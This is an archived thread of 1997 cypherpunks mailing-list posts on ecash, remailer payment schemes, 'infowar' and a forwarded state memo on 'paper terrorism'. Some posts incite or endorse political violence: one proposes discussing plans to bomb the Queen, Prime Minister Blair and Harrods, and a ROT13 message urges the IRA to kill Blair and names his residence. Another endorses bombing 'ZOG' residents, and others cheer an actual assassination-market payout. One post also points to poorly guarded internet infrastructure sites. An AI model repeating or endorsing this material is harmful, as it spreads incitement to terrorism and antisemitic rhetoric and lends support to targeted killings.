me get it done.  Can anyone else tell me about better experiences with ecash?




  -- Robert Costner                  Phone: (770) 512-8746
     Electronic Frontiers Georgia    mailto:pooh@efga.org  
     http://www.efga.org/            run PGP 5.0 for my public key





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 29 Sep 1997 10:45:08 +0800
To: cypherpunks@toad.com
Subject: RE: engineering infowar disasters (was Re: How the FBI/NSA forces can further tw
In-Reply-To: <01BCCBA7.0FB66580.hallam@ai.mit.edu>
Message-ID: <uwPqDe9w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Phillip Hallam-Baker <hallam@ai.mit.edu> writes:

>
> On Saturday, September 27, 1997 7:57 PM, Adam Back [SMTP:aba@dcs.ex.ac.uk] wr
>
> > Reckon cypherpunks can knock up a few of those.
> >
> > So lets here some ideas for good photogenic infowar attacks which show
> > that the lack of crypto is dangerous.
>
> I suggest unless people want to hand the FBI an excuse
> to harass everyone that they don't enter into this discussion.
>
> There are plenty of conspiracy laws on the book. Infrastructure
> attacks are illegal and exactly the kind of thing that gets long
> jail sentences.
>
> More to the point it is completely counterproductive. Even now
> there is probably some FBI junior waving Back's message in
> the air as if he has won the pools, probable cause for wiretaps
> I would say.
>
> I suspect I'm not the only person on the list who is responsible
> for a service that is a regular hacker target. If I catch someone I
> really don't care what the motive for the attack was. I'm going to
> look to make that person serve jail time.

I suggest that every time Phil posts to this mailing list, we all
send $1 each to Sean Fein.

I suggest we discuss the detailed plans how to blow up the queen bitch,
prime Minister Blair, and the Harrods department store and hope that
someone implements these plans.

I suggest that Phil is an idiot.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 29 Sep 1997 09:29:25 +0800
To: cypherpunks@toad.com
Subject: Encrypted terrorist plot information
Message-ID: <sHRqDe11w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



V guvax vg jbhyq or pbby vs gur VEN be fbzr bgure serrqbz svtugre
betnavmngvba oyrj hc Cevzr Zvavfgre Oynver sbe onaavat unaqthaf.
V urneq gung uvf erfvqrapr vf ng:

                         10 QBJAVAT FGERRG

V ubcr guvf yvggyr ovg bs vasb urycf.

V'z rapelcgvat guvf zrffntr gb uvqr sebz Cuvy Unyynz-Onxre.
Cyrnfr fraq $1 gb Frna Srva rirel gvzr Cuvy fnlf fbzrguvat.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Mon, 29 Sep 1997 10:40:13 +0800
To: cypherpunks@toad.com
Subject: Re: write up AP for FC++
Message-ID: <199709281350.JAA17459@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----


In <3.0.3.32.19970927210451.006b202c@schloss.li>, on 09/27/97 
   at 09:04 PM, Black Unicorn <unicorn@schloss.li> said:

>At 06:49 PM 9/27/97 -0700, James A. Donald wrote:
>>Tim May wrote:
>>>>I'm now mildly amused that Bell is being seen as the inventor of anonymous
>>>>and untraceable murder markets, with clueless journalists seeking
>>>>information on his discovery. But, hey, better he rot in jail than me.
>>
>>At 04:27 PM 8/18/97 -0700, Blanc wrote:
>>> A presentation from you at FC98 would remind everyone of your own initial
>>> writings on the subject and provide you with due credit (better credit than
>>> a jail/rotting sentence).   I can't think of anyone else who would be more
>>> qualified for this.
>>
>>Freedom of speech is protected by nothing stronger than the cluelessness
>>of our masters.
>>
>>If you publish your idea in appropriate forums, you can get away with it.
>>
>>If you go from forum to forum singing your idea like a broken record, 
>>and flogging it like soap, you will probably go to jail.
>>
>>I see no point in explaining our ideas so thoroughly and repeatedly
>>that even cops and politicians start to understand them.


>Try to keep in mind that Bell went to jail for crimes only semi-related
>to his AP ranting.

>The AP ranting is just the way he managed to attract attention.

>Moral:  If you're going to rant about AP you better be squeeky clean
>first.

Moral: If you're going to rant about AP you better have a system in place
to take out the rat-bastards before they come looking for you.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

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EtLaQK0syZdIJak//qHxuTbva6o7/S+MAeRpwzQIITFWwXqCIF8rdMCZQkm308Au
eprjZa1rV8qxYdG7cJBYOUXp6oIk6rNTmK1s9wRG/rnkVXD3OMdW7n8XfAyCGTNV
GUsA3iijYNc=
=FfZc
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sun, 28 Sep 1997 21:53:10 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Digital Postage (fwd)
Message-ID: <199709281355.IAA08380@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Sat, 27 Sep 1997 19:18:01 -0400
> From: Anonymous <anon@anon.efga.org>
> Subject: Re: Digital Postage (fwd)

> Jim Choate wrote:
> >[Tim May wrote: ed.]
> >> Some will remail for some form of digital postage. Some will charge too little, some too much.
> >> Some will adjust their prices based on market/customer reactions. And so on.
> >
> >And there are a couple of problems with this:
> >
> > -  it relies on a mechanism not currently in place to interface with
> >    other more traditional financial institutions. Which I might add
> >    don't look upon this as the most trustworthy mechanism.
> 
> Ecash is in place right now.

True, but there are only 3 systems and it is not clear at all which will
dominate and be used by all parties. Also there is the issue of security in
regards to maintaning anonymity when there is such a small pool of parties
to use. Doesn't take a genius to figure out where to hang out and watch the
action.

> > -  how do you charge for the postage, per submission? What happens when
> >    I want to send 10,000 parties the email. Do I still pay the digi-postage
> >    equivalent of $.35? Or do I pay $350.00?
> 
> This is easily worked out between the remailer operator and the
> customer.

How? There is certainly no clear mechanism in place. Does the customer
contact each remailer operator prior to sending the traffic, thus opening up
N opportunities for anonymity cracking.

If the operators agree to a system how do we get there? Is it time to have a
anon-remailer conference to settle on distributed payment schemes?

> Were I running a remailer, I would charge $350.00.  As a
> customer, I would not see this as unreasonable.

Unless it is pertty serious nobody is going to pay such a fee just to send
an email around. The problem I see is one of scale. The infrastructure for
handling physical mail is very 'bulky' and requires a lot infrastructure.
Email on the other hands effectively rides on the back of an existing
Internet infrastructure for nearly free. Because of the historicaly low cost
for email this would tend to in general indicate a low market value on anon
remailers. This means the cost per msg. must be very low (the aforementioned
micro payments) and hence leads to two realizations:

 -   we need a lot of remailers

 -   we need a lot of traffic to invoke economy of scales

It is clear that neither of these can exist without the other, meaning this
puts us at a chicken-or-the-egg type situation.

> >I suspect that anon remailers will operate by something similar to
> >ISP's where when the account is setup some fee is paid for use and
> >not on a use by use based fee. The problem with that is it creates a
> >'concrete' link between the party desiring anonymity and the remailer
> >operator that may be exploited in some (most? all?) cases to break
> >that anonymity.
> 
> The way to break the concrete link is with blinded credentials.  Of
> course, ecash already provides this feature without the hassle of
> opening an account with a remailer operator, writing and deploying new
> software, etc. etc.

True, but it doesn't have the rest of the infrastructure (some detailed
above) in place. To get this to work will take more than a couple dozen
operators swapping some digi-cash between themselves. There are entirely too
many infrastructure and legal issues for remailers to be any sort of
profitable long-term business that will attract non-techie investors.

If you know of some investors please let them know of me as I am very 
interested in commercial remailers (anon & not).

    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sun, 28 Sep 1997 22:08:27 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Digital Postage (fwd)
Message-ID: <199709281411.JAA08433@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> From: Syniker@aol.com
> Date: Sat, 27 Sep 1997 20:21:11 -0400 (EDT)
> Subject: Re: Digital Postage (fwd)

> I'm probably not thinking right Jim -- but what if I bought a postal
> money order, or such, with cash... sent it too you... along with
> an encyrpted email that referred to the serial number of the
> money order... then, you uncyphered my email... to verify payment, and
> recyphered my account info to me...
> Would something like that work to establish a paid-up account?

It would provided nobody was really concerned about tracking you. Let's
consider your scenario for a moment <any mistakes in comprehension or
description or my own>...

Process:

1.   purchase M.O. with cash, presumably in person

2.   use ground mail to get the M.O. to the remailer

3.   send encrypted email from your nym to me identifying which account
     it applies to.

4.   remailer receives the email and the M.O.

5.   apply funds to account.


I see a couple of ways a determined mallet could over time figure out who
was doing what with whom.

My primary assumption is that mallet has some reason to suspect a specific
party and their use of anon remailers.

When the M.O. is purchased, even by cash, the chances of getting put on
tape is pretty high. This places a clear link between at least one party and
the purchase of the M.O. (it has a serial #) and the time it was purchased
(M.O.'s have time stamps). Making it trivial to figure out which
security tape(s) to review.

The ground mail places at least a rough geographic area as to its source
unless you plan on travelling all over the states sending your M.O.'s. This
is too much trouble for a user except in very unique circumstances. My
grandmother for example probably won't travel across town let alone across
the state on each use.

By monitoring the physical mail at the remailer we can clearly link the mail
to the recipient.

When the remailer deposits the M.O. a record is going to be made about who
received it and how much.

My guess is that it would take about 3-4 cycles of this before mallet can
start putting a clear picture together of what and who is involved.


    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Mon, 29 Sep 1997 10:37:13 +0800
To: cypherpunks@toad.com
Subject: RE: engineering infowar disasters (was Re: How the FBI/NSA forces can further twist SAFE)
Message-ID: <1.5.4.32.19970928131309.008af664@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



Phill warned Adam:

>I suggest unless people want to hand the FBI an excuse
>to harass everyone that they don't enter into this discussion.

The WSJ reported recently on the comparatively lax security
of the principal US nodes of the Internet -- MAEs and such. 
The reporter located the facilities and spoke to several of the 
sys admins, most of whom were surprised at being IDed, and 
were reluctant to discuss security. Some did, though, and
shook their nogs at the ease with which the whole shebang 
could be trashed, claiming that for now it was only obscurity
that saved the net -- or at least its facilities -- and asked
the reporter not to tell the full story.

A similar report was written in a mag a few months back, with
a focus on the New Jersey facility (with photo), MAE, I think.

There was a discussion here in 1994 or so on the location of 
the landing points of transatlantic cables, many of which come
into New York City at obscure points along the coast, into
huts and shacks, actually, easily located by following the
cables shown on coastal maritime maps which neatly diagram 
every one of them to warn off shipping and dredging.

At that time some of the cpunks associated with the telco
and financial industries here (NYC) hinted at even worse 
security, especially the facilities kind, at the humongous 
hi-rise switching banks and highly accessible local 
distribution cablings into dank "secure" cells.

I pray that none of these remarks are seen as darkly conspiratorial, 
but merely chit-chat, like Phill's bark.

-- 
Now officially an EAR violation...
Have *you* violated EAR today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Igor Chudov @ home" <ichudov@Algebra.COM>
Date: Mon, 29 Sep 1997 00:05:59 +0800
To: cypherpunks@manifold.algebra.com
Subject: Re: Memo From Washington Gestapo Tyranny
In-Reply-To: <53d43c66614dce585c3d09aa8f2b15f6@anon.efga.org>
Message-ID: <199709281555.KAA07727@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text/plain



Wow, Assassination politics (as Anonymous claims)  made its way into the
anti-terrorism manuals...

igor


In misc.survivalism, Anonymous wrote:
>                       State of Washington
>                     Washington State Patrol
>                 General Administration Building
>                         P.O. Box 42600
>                 Olympia, Washington 98504-2600
>                         (360) 753-6540
>
>September 17, 1997
>
>TO:       Washington State Senators
>          Washington State Representatives
>
>FROM:     Representative Karen Schmidt, Chairman [sic]
>          Organized Crime Advisory Board
>
>SUBJECT:  Paper Terrorism
>
>
>It  has   been  brought  to  my  attention  that  anti-government
>organizations  have   been  utilizing   a  tactic  called  "paper
>terrorism" to  effectively disable  government.  Commonly, public
>officials are  personally targeted.   This widespread practice is
>accomplished by  overburdening our  communications, business,  or
>judicial systems with frivolous or repetitive petitions, property
>liens, and small claims court actions.
>
>Enclosed is a brief explanation of this process.  If you feel you
>are a victim of "paper terrorism," I encourage you to contact the
>Washington State  Patrol, Organized  Crime Intelligence  Unit, in
>Olympia at (360) 753-3277, for assistance.
>
>KS:csp
>Enclosure
>
>                         PAPER TERRORISM
>
>Introduction
>
>Since the  early 1990's  there has  been a noticeable increase in
>the number  of people  across the  country who  have  joined  and
>continue to  participate in  the anti-government movement.  These
>individuals view themselves as victims of a government conspiracy
>to take  away their individual rights and liberties.  They do not
>recognize most forms of county, state, and federal government and
>therefore create  their own  self-styled  government.    National
>speakers in  the anti-government extremists or "Patriot" movement
>conduct recruitment  and information  seminars across  Washington
>State, as  well as  the  entire  country.    These  seminars  and
>recruitment  meetings   fuel  bizarre   conspiracy  theories  and
>communicate  new  trends  within  the  anti-government  movement.
>Paper terrorism  has grown  from a  trend to  a full scale tactic
>used upon  businesses, private  individuals, government  services
>and elected officials.
>
>
>Background
>
>Paper terrorism  is designed  to clog  government  services  with
>meaningless requests  which consume  time and  disrupt schedules.
>In the  private sector  paper terrorism  is an  attempt to extort
>money, goods  or services.   Some  examples  of  paper  terrorism
>activities:
>
>*    Bogus liens  placed upon  personal  property  of  government
>     officials and private individuals.
>
>*    Frivolous lawsuits filed in state and federal courts against
>     businesses and government entices [sic].
>
>*    Drafting and  passing  counterfeit  bank  checks  and  other
>     fraudulent negotiable  instruments aimed  at defrauding  the
>     financial community and businesses.
>
>*    Common Law Courts that issue homemade subpoenas to citizens,
>     businesses and government officials.
>
>*    Challenging judges  in an  effort to  disqualify them  on  a
>     current case and to repeat their motions to disqualify these
>     judges from  hearing future  cases by  referencing the prior
>     challenges.
>
>*    Scheming to  avoid paying  state sales tax during a purchase
>     by declaring  to be  a non  resident and  then filing claims
>     with the state's risk management section if refused.
>
>*    Disrupting  the  court  system  by  persuading  fellow  jail
>     inmates to defend themselves as Patriots, thus tying up more
>     of the courts and prosecutors time.
>
>*    Distributing the  extremist Citizens Handbook to foster jury
>     nullification.
>
>*    using the  Internet  to  promote  extremist  ideas  such  as
>     "Assassination Politics"  or predicting the date of death of
>     a law  enforcement officer  or government  official to win a
>     cash price.
>
>*    Filing bogus claims in small claims court.
>
>*    Requesting information  from  courts,  government  agencies,
>     elected officials  and businesses  in the  form of frivolous
>     questions in an effort to consume employee's time.
>
>
>Tell-tale signs of Patriot extremists can often be found in their
>conversation  or   written  documents.    Common  indicators  are
>biblical passages,  referring  to  the  state  as  a  "republic",
>calling zip codes a "postal zone", refusing to acknowledge direct
>questions, separating their middle and last names with a comma or
>colon, placing  a thumb  print on  a document, claiming the court
>has no  authority, or  using the  phrases:   all rights reserved,
>without prejudice,  UCC 1-207,  pro se, sui juris, united states,
>Black's law.
>
>
>Analysis and Trends
>
>These anti-government  extremists and  supporters  are  convinced
>citizens  are  being  systematically  oppressed  by  an  illegal,
>totalitarian government.   They  believe the time for traditional
>political reform  has passed,  that their  freedom will  only  be
>secured  by  resistance  to  the  law  and  attacks  against  the
>government in several forms.
>
>Members of these groups bond to one another and lose contact with
>other people who hold different opinions.  The isolation works to
>reinforce their  views, which  in turn  gives them  new  purpose.
>This new purpose may take ordinary ideas to extremes, rationalize
>their problems  into blaming  government, and  cause  members  to
>compete with each other to make stronger statements.
>
>
>Trend and Incident Reporting
>
>If  you   become  victimized  by  paper  terrorism,  contact  the
>Washington State  Patrol Organized  Crime  Intelligence  Unit  at
>(360) 753-3277,  extension 121.   All  acts reaching  a  criminal
>level should  be referred to your local law enforcement agency or
>prosecutor's office.
>
>
>[end transcript]
>


-- 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: amp@pobox.com
Date: Mon, 29 Sep 1997 01:52:54 +0800
To: "Igor Chudov @ home" <cypherpunks@manifold.algebra.com
Subject: Re: Memo From Washington Gestapo Tyranny
In-Reply-To: <199709281555.KAA07727@manifold.algebra.com>
Message-ID: <Chameleon.875463406.amp@ampugh.mcit.com>
MIME-Version: 1.0
Content-Type: text/plain



Congratulations Cypherpunks!!!


  From: "Igor Chudov @ home" <ichudov@algebra.com>

> Wow, Assassination politics (as Anonymous claims)  made its way into the
> anti-terrorism manuals...
> 
> igor
=snip=

> >*    using the  Internet  to  promote  extremist  ideas  such  as
> >     "Assassination Politics"  or predicting the date of death of
> >     a law  enforcement officer  or government  official to win a
> >     cash price.

Most excellent. Now, all we need to really put some fear in them and make 
them clamp down so hard it will be noticable to the average sheeple, is an 
actual prediction and collection. For that, of course, we need genuinely 
anonymous digital cash.

> >Tell-tale signs of Patriot extremists can often be found in their
> >conversation  or   written  documents.    Common  indicators  are
> >biblical passages,  referring  to  the  state  as  a  "republic",
> >calling zip codes a "postal zone", refusing to acknowledge direct
> >questions, separating their middle and last names with a comma or
> >colon, placing  a thumb  print on  a document, claiming the court
> >has no  authority, or  using the  phrases:   all rights reserved,
> >without prejudice,  UCC 1-207,  pro se, sui juris, united states,
> >Black's law.

I guess the founders of this nation were also "Patriot extremists"!

Quoting the U.S. Constitution, Article IV ...


	"Section 4. The United States shall guarantee to every state in
	this union a republican form of government, and shall protect
	each of them against invasion; and on application of the
	legislature, or of the executive (when the legislature cannot be
	convened) against domestic violence. "

Those words are supposedly the law of the land. The only thing "guaranteed" 
by the constitution is "a republican form of government". I suppose quoting 
the constitution also marks one as a "Patriot extremist".

I certainly hope so!

> >Analysis and Trends
> >
> >These anti-government  extremists and  supporters  are  convinced
> >citizens  are  being  systematically  oppressed  by  an  illegal,
> >totalitarian government.   They  believe the time for traditional
> >political reform  has passed,  that their  freedom will  only  be
> >secured  by  resistance  to  the  law  and  attacks  against  the
> >government in several forms.

Well, they have this part right.

> >Members of these groups bond to one another and lose contact with
> >other people who hold different opinions.  The isolation works to
> >reinforce their  views, which  in turn  gives them  new  purpose.
> >This new purpose may take ordinary ideas to extremes, rationalize
> >their problems  into blaming  government, and  cause  members  to
> >compete with each other to make stronger statements.

How can someone remain isolated these days? With television and radio 
everywhere you look, and the mass media constantly telling how great 
everything is?

> >Trend and Incident Reporting
> >
> >If  you   become  victimized  by  paper  terrorism,  contact  the
> >Washington State  Patrol Organized  Crime  Intelligence  Unit  at
> >(360) 753-3277,  extension 121.   All  acts reaching  a  criminal
> >level should  be referred to your local law enforcement agency or
> >prosecutor's office.

Most excellent... I suggest we call this office and report paper terrorism 
on the part of the IRS!

---------------End of Original Message-----------------

------------------------
Name: amp
E-mail: amp@pobox.com
Date: 09/28/97
Time: 12:06:31
Visit me at http://www.pobox.com/~amp
==
     -export-a-crypto-system-sig -RSA-3-lines-PERL
#!/bin/perl -sp0777i<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<j]dsj
$/=unpack('H*',$_);$_=`echo 16dio\U$k"SK$/SM$n\EsN0p[lN*1
lK[d2%Sa2/d0$^Ixp"|dc`;s/\W//g;$_=pack('H*',/((..)*)$/)
==

'Drug Trafficking Offense' is the root passphrase to the Constitution.

Have you seen 
http://www.public-action.com/SkyWriter/WacoMuseum
------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Mon, 29 Sep 1997 03:42:54 +0800
To: Brad Dolan <cypherpunks@Algebra.COM
Subject: PGP Being Used to Fight the Zionist Occupation Government
In-Reply-To: <199709281555.KAA07727@manifold.algebra.com>
Message-ID: <v03102803b0545dc14834@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 10:59 AM -0700 9/28/97, Brad Dolan wrote:

>HAMAS USING THE INTERNET TO BROADCAST ATTACK INSTRUCTIONS
>...]				****
>
> Hamas Using the Internet to Broadcast Attack Instructions
> (IINS News Service -Israel-9/28)  According to the Foreign Report Weekly,
>the Hamas terror organization is using the Internet to transmit information
>pertaining to terror attacks.
>
>The report states the information was confirmed by Israeli security
>officials.
>
>Hamas is sending maps, pictures and other details pertaining to terror
>attacks, using encryption methods. The General Security Service
>(GSS/Shin-Bet) believes most of the data is being sent to the Hamas
>worldwide center, located in Britain.


But I told you all this several weeks ago. Through sources I have no
intention of discussing, I discovered that PGP 5.0 is indeed being used by
the Palestinia freedom fighters in their war against the Zionist occupiers
of their homeland.  They got 5.0 shortly after it was released...and got it
their forces by more direct means that that "public relations fig leaf" of
scanning in source code.

(The Palestinian farmer living in Jaffa, with title going back several
generations, is not much impressed when a Jew from Krakow arrives with ZOG
soldiers to expel him from his orange groves, citing the Old Testament as
his title to the land. Any wonder that he and his children and their
children think blowing up some ZOG residents is a reasonable response?)

I described this use of PGP to some PGP, Inc. employees at the last
Cypherpunks meeting. Two of them seemed deeply concerned. Apparently the
"freedom fighters" that Phil Z. so conspicuously refers to, the Karen
guerillas in the jungles of Myanmar/Burma, are somehow different from the
Hamas freedom fighters seeking reclamation of their own land and
destruction of the illegal ZOG state.

PGP and strong crypto is spreading quickly to many freedom fighters...and
even some terrorists (even by my definition). Who expected otherwise?

--Tim May


The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "A. B. Terroroist" <at@dev.null>
Date: Mon, 29 Sep 1997 10:42:50 +0800
To: schmidt_ka@leg.wa.gov
Subject: Re: Memo From Washington Gestapo Tyranny
In-Reply-To: <199709281555.KAA07727@manifold.algebra.com>
Message-ID: <342EAA26.145F@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Dear Ms. Schmidt,
  If you are the Chairman of the Organized Crime Advisory Board, then 
this email is for you. Otherwise, it is just an annoying piece of spam
by an ignorant, drunken asshole who is too stupid and lazy to use the
InterNet search engines effectively.

  I am writing in regard to a memo that was posted on the CypherPunks
mailing list, and which was attributed to yourself (if you are the you
that I think I am writing to).
  I am currently involved in a project to warn the unwitting, such as
myself, about the Evil Farces which are striving to subject the whole
world to being on their knees (and we all know what people on their
knees do, don't we?).
  I would like to use your memo in writing a chapter of Part III of 
'The True Story of the InterNet,' but I find myself in an ethical dilema
in this regard.

  Although I am a known liar, thief, forger and FUD artist, I have still
managed to hold on to a modicum of basic human integrity.
  I have a sick sense of humor which is apparently only appreciated by 
myself, since no one ever responds to me, but I have fun, just the same,
by using bad forgeries and shallow deceptions to try and ridicule those
things which decent people hold sacred. I am pretty much shameless when
it comes to usurping peoples Net personas and twisting their words to
make them look like fools and assholes, but even I have my limits.

  To tell the truth, although I have always considered myself to be
the funniest person in the world (but looks aren't everything, eh?),
when I read the memo below, which is attributed to you, I laughed so
hard that I fell off my chair, broke three ribs, blew snot all over
myself, and peed my pants.
  I haven't done that since the guy with the paper bag over his head
said, "I just flew in from LA, and boy, are my arms tired!" (He was
a paper bag joke terrorist.)

  Anyway, I intend to use the memo below to help other people blow
snot all over themselves by reading about how we need to destroy the
last tattered fragments of the Constitution in order to protect the
children of America from people who are "separating their middle and
last names with a comma or colon."
  Since I plan to attribute the memo to yourself, you should contact
me to let me know if you're really just pulling people's legs (like
your email address suggests). 
  Although I enjoy peeing my pants as much as the next person, I would
feel bad if people took your memo seriously, by mistake, and overthrew
the government when they realized that their tax dollars were going 
toward putting out memos suggesting that inmates defending themselves
and people requesting information from government agencies are a threat
to democracy.

  Although I am a Cult of One InterNet Terrorist known as TruthMonger
McVeigh, and my ultimate goal is to overthrow all the governments of
the world without ever leaving my house (except to go to the bar,
two blocks away), even I would not stoop so low as to attribute the
memo below to a Fascist, Nazi pawn of the Evil One unless they really
wrote it (not even if they did have an Aryan name).
  Although I always forage my email headers because I have permanently
misplaced my scruples, you can find out how to contact me by asking
some of the CypherPunks, such as Tim C. McVeigh, Alan McVeigh, William
Geiger McVeigh III, ? the McVeigh, Damaged McVeigh, Attila T. McVeigh,
and A McVeigh To Be Named Later.

Insincerely,
Terrorist, A. Bad 
"I'm in the Book"

A goddamn Commie fucking spy @ home wrote:
> Wow, Assassination politics (as Anonymous claims)  made its way into the
> anti-terrorism manuals...
> igor
> In misc.survivalism, Anonymous wrote:
> >                       State of Washington
> >                     Washington State Patrol
> >                 General Administration Building
> >                         P.O. Box 42600
> >                 Olympia, Washington 98504-2600
> >                         (360) 753-6540
> >
> >September 17, 1997
> >
> >TO:       Washington State Senators
> >          Washington State Representatives
> >
> >FROM:     Representative Karen Schmidt, Chairman [sic]
> >          Organized Crime Advisory Board
> >
> >SUBJECT:  Paper Terrorism
> >
> >
> >It  has   been  brought  to  my  attention  that  anti-government
> >organizations  have   been  utilizing   a  tactic  called  "paper
> >terrorism" to  effectively disable  government.  Commonly, public
> >officials are  personally targeted.   This widespread practice is
> >accomplished by  overburdening our  communications, business,  or
> >judicial systems with frivolous or repetitive petitions, property
> >liens, and small claims court actions.
> >
> >Enclosed is a brief explanation of this process.  If you feel you
> >are a victim of "paper terrorism," I encourage you to contact the
> >Washington State  Patrol, Organized  Crime Intelligence  Unit, in
> >Olympia at (360) 753-3277, for assistance.
> >
> >KS:csp
> >Enclosure
> >
> >                         PAPER TERRORISM
> >
> >Introduction
> >
> >Since the  early 1990's  there has  been a noticeable increase in
> >the number  of people  across the  country who  have  joined  and
> >continue to  participate in  the anti-government movement.  These
> >individuals view themselves as victims of a government conspiracy
> >to take  away their individual rights and liberties.  They do not
> >recognize most forms of county, state, and federal government and
> >therefore create  their own  self-styled  government.    National
> >speakers in  the anti-government extremists or "Patriot" movement
> >conduct recruitment  and information  seminars across  Washington
> >State, as  well as  the  entire  country.    These  seminars  and
> >recruitment  meetings   fuel  bizarre   conspiracy  theories  and
> >communicate  new  trends  within  the  anti-government  movement.
> >Paper terrorism  has grown  from a  trend to  a full scale tactic
> >used upon  businesses, private  individuals, government  services
> >and elected officials.
> >
> >
> >Background
> >
> >Paper terrorism  is designed  to clog  government  services  with
> >meaningless requests  which consume  time and  disrupt schedules.
> >In the  private sector  paper terrorism  is an  attempt to extort
> >money, goods  or services.   Some  examples  of  paper  terrorism
> >activities:
> >
> >*    Bogus liens  placed upon  personal  property  of  government
> >     officials and private individuals.
> >
> >*    Frivolous lawsuits filed in state and federal courts against
> >     businesses and government entices [sic].
> >
> >*    Drafting and  passing  counterfeit  bank  checks  and  other
> >     fraudulent negotiable  instruments aimed  at defrauding  the
> >     financial community and businesses.
> >
> >*    Common Law Courts that issue homemade subpoenas to citizens,
> >     businesses and government officials.
> >
> >*    Challenging judges  in an  effort to  disqualify them  on  a
> >     current case and to repeat their motions to disqualify these
> >     judges from  hearing future  cases by  referencing the prior
> >     challenges.
> >
> >*    Scheming to  avoid paying  state sales tax during a purchase
> >     by declaring  to be  a non  resident and  then filing claims
> >     with the state's risk management section if refused.
> >
> >*    Disrupting  the  court  system  by  persuading  fellow  jail
> >     inmates to defend themselves as Patriots, thus tying up more
> >     of the courts and prosecutors time.
> >
> >*    Distributing the  extremist Citizens Handbook to foster jury
> >     nullification.
> >
> >*    using the  Internet  to  promote  extremist  ideas  such  as
> >     "Assassination Politics"  or predicting the date of death of
> >     a law  enforcement officer  or government  official to win a
> >     cash price.
> >
> >*    Filing bogus claims in small claims court.
> >
> >*    Requesting information  from  courts,  government  agencies,
> >     elected officials  and businesses  in the  form of frivolous
> >     questions in an effort to consume employee's time.
> >
> >
> >Tell-tale signs of Patriot extremists can often be found in their
> >conversation  or   written  documents.    Common  indicators  are
> >biblical passages,  referring  to  the  state  as  a  "republic",
> >calling zip codes a "postal zone", refusing to acknowledge direct
> >questions, separating their middle and last names with a comma or
> >colon, placing  a thumb  print on  a document, claiming the court
> >has no  authority, or  using the  phrases:   all rights reserved,
> >without prejudice,  UCC 1-207,  pro se, sui juris, united states,
> >Black's law.
> >
> >
> >Analysis and Trends
> >
> >These anti-government  extremists and  supporters  are  convinced
> >citizens  are  being  systematically  oppressed  by  an  illegal,
